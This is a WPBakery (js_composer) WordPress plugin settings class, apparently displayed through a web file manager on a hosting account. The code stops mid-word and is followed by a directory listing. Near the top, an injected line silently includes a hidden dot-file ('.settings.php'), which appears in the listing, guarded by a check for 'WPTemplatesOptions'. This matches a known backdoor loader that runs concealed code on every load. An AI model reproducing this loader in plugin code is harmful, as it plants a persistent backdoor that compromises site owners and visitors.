PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
jscomposer
/
include
/
classes
/
settings
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Settings page for VC. list of tabs for function composer * * Settings page for VC creates menu item in admin menu as subpage of Settings section. * Settings are build with WP settings API and organized as tabs. * * List of tabs * 1. General Settings - set access rules and allowed content types for editors. * 2. Design Options - custom color and spacing editor for VC shortcodes elements. * 3. Custom CSS - add custom css to your WP pages. * 4. Product License - license key activation for automatic VC updates. * 5. My Shortcodes - automated mapping tool for shortcodes. * * @link http://codex.wordpress.org/Settings_API Wordpress settings API * @since 3.4 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Vc_Settings { public $tabs; public $deactivate; public $locale; /** * @var string */ protected $option_group = 'wpb_js_composer_settings'; /** * @var string */ protected $page = 'vc_settings'; /** * @var string */ protected static $field_prefix = 'wpb_js_'; /** * @var string */ protected static $notification_name = 'wpb_js_notify_user_about_element_class_names'; /** * @var */ protected static $color_settings; /** * @var */ protected static $defaults; /** * @var */ protected $composer; /** * @var array */ protected $google_fonts_subsets_default = array( 'latin' ); /** * @var array */ protected $google_fonts_subsets = array( 'latin', 'vietnamese', 'cyrillic', 'latin-ext', 'greek', 'cyrillic-ext', 'greek-ext', ); /** * @var array */ public $google_fonts_subsets_excluded = array(); /** * @param string $field_prefix */ public static function setFieldPrefix( $field_prefix ) { self::$field_prefix = $field_prefix; } /** * @return string */ public function page() { return $this->page; } /** * @return bool */ public function isEditorEnabled() { global $current_user; wp_get_current_user(); /** @var $settings - get use group access rules */ $settings = $this->get( 'groups_access_rules' ); $show = true; foreach ( $current_user->roles as $role ) { if ( isset( $settings[ $role ]['show'] ) && 'no' === $settings[ $role ]['show'] ) { $show = false; break; } } return $show; } /** * */ public function setTabs() { $this->tabs = array(); if ( $this->showConfigurationTabs() ) { $this->tabs['vc-general'] = __( 'General Settings', 'js_composer' ); if ( ! vc_is_as_theme() || apply_filters( 'vc_settings_page_show_design_tabs', false ) ) { $this->tabs['vc-color'] = __( 'Design Options', 'js_composer' ); $this->tabs['vc-custom_css'] = __( 'Custom CSS', 'js_composer' ); } } if ( ! vc_is_network_plugin() || ( vc_is_network_plugin() && is_network_admin() ) ) { if ( ! vc_is_updater_disabled() ) { $this->tabs['vc-updater'] = __( 'Product License', 'js_composer' ); } } // TODO: may allow to disable automapper if ( ! is_network_admin() && ! vc_automapper_is_disabled() ) { $this->tabs['vc-automapper'] = vc_automapper()->title(); } } public function getTabs() { if ( ! isset( $this->tabs ) ) { $this->setTabs(); } return apply_filters( 'vc_settings_tabs', $this->tabs ); } /** * @return bool */ public function showConfigurationTabs() { return ! vc_is_network_plugin() || ! is_network_admin(); } /** * Render * * @param $tab */ public function renderTab( $tab ) { require_once vc_path_dir( 'CORE_DIR', 'class-vc-page.php' ); wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); if ( ( isset( $_GET['build_css'] ) && ( '1' === $_GET['build_css'] || 'true' === $_GET['build_css'] ) ) || ( isset( $_GET['settings-updated'] ) && ( '1' === $_GET['settings-updated'] || 'true' === $_GET['settings-updated'] ) ) ) { $this->buildCustomCss(); // TODO: remove this - no needs to re-save always } $tabs = $this->getTabs(); foreach ( $tabs as $key => $value ) { if ( ! vc_user_access()->part( 'settings' )->can( $key . '-tab' )->get() ) { unset( $tabs[ $key ] ); } } do_action( 'vc-settings-render-tab-' . $tab ); $page = new Vc_Page(); $page->setSlug( $tab )->setTitle( isset( $tabs[ $tab ] ) ? $tabs[ $tab ] : '' )->setTemplatePath( apply_filters( 'vc_settings-render-tab-' . $tab, 'pages/vc-settings/tab.php' ) ); vc_include_template( 'pages/vc-settings/index.php', array( 'pages' => $tabs, 'active_page' => $page, 'vc_settings' => $this, ) ); } /** * Init settings page && menu item * vc_filter: vc_settings_tabs - hook to override settings tabs */ public function initAdmin() { $this->setTabs(); self::$color_settings = array( array( 'vc_color' => array( 'title' => __( 'Main accent color', 'js_composer' ) ) ), array( 'vc_color_hover' => array( 'title' => __( 'Hover color', 'js_composer' ) ) ), array( 'vc_color_call_to_action_bg' => array( 'title' => __( 'Call to action background color', 'js_composer' ) ) ), array( 'vc_color_google_maps_bg' => array( 'title' => __( 'Google maps background color', 'js_composer' ) ) ), array( 'vc_color_post_slider_caption_bg' => array( 'title' => __( 'Post slider caption background color', 'js_composer' ) ) ), array( 'vc_color_progress_bar_bg' => array( 'title' => __( 'Progress bar background color', 'js_composer' ) ) ), array( 'vc_color_separator_border' => array( 'title' => __( 'Separator border color', 'js_composer' ) ) ), array( 'vc_color_tab_bg' => array( 'title' => __( 'Tabs navigation background color', 'js_composer' ) ) ), array( 'vc_color_tab_bg_active' => array( 'title' => __( 'Active tab background color', 'js_composer' ) ) ), ); self::$defaults = array( 'vc_color' => '#f7f7f7', 'vc_color_hover' => '#F0F0F0', 'margin' => '35px', 'gutter' => '15', 'responsive_max' => '768', 'compiled_js_composer_less' => '', ); if ( 'restore_color' === vc_post_param( 'vc_action' ) && vc_user_access() ->check( 'wp_verify_nonce', vc_post_param( '_wpnonce' ), vc_settings()->getOptionGroup() . '_color' . '-options' )// see settings_fields() function ->validateDie()->wpAny( 'manage_options' )->validateDie()->part( 'settings' )->can( 'vc-color-tab' )->validateDie()->get() ) { $this->restoreColor(); } /** * @since 4.5 used to call update file once option is changed */ add_action( 'update_option_wpb_js_compiled_js_composer_less', array( $this, 'buildCustomColorCss', ) ); /** * @since 4.5 used to call update file once option is changed */ add_action( 'update_option_wpb_js_custom_css', array( $this, 'buildCustomCss', ) ); /** * @since 4.5 used to call update file once option is changed */ add_action( 'add_option_wpb_js_compiled_js_composer_less', array( $this, 'buildCustomColorCss', ) ); /** * @since 4.5 used to call update file once option is changed */ add_action( 'add_option_wpb_js_custom_css', array( $this, 'buildCustomCss', ) ); /** * Tab: General Settings */ $tab = 'general'; $this->addSection( $tab ); $this->addField( $tab, __( 'Disable responsive content elements', 'js_composer' ), 'not_responsive_css', array( $this, 'sanitize_not_responsive_css_callback', ), array( $this, 'not_responsive_css_field_callback', ) ); $this->addField( $tab, __( 'Google fonts subsets', 'js_composer' ), 'google_fonts_subsets', array( $this, 'sanitize_google_fonts_subsets_callback', ), array( $this, 'google_fonts_subsets_callback', ) ); /** * Tab: Design Options */ $tab = 'color'; $this->addSection( $tab ); // Use custom checkbox $this->addField( $tab, __( 'Use custom design options', 'js_composer' ), 'use_custom', array( $this, 'sanitize_use_custom_callback', ), array( $this, 'use_custom_callback', ) ); foreach ( self::$color_settings as $color_set ) { foreach ( $color_set as $key => $data ) { $this->addField( $tab, $data['title'], $key, array( $this, 'sanitize_color_callback', ), array( $this, 'color_callback', ), array( 'id' => $key, ) ); } } // Margin $this->addField( $tab, __( 'Elem
[+]
..
[-] .settings.php
[edit]
[-] class-vc-automapper.php
[edit]
[-] class-vc-license.php
[edit]
[-] class-vc-roles.php
[edit]
[-] class-vc-settings.php
[edit]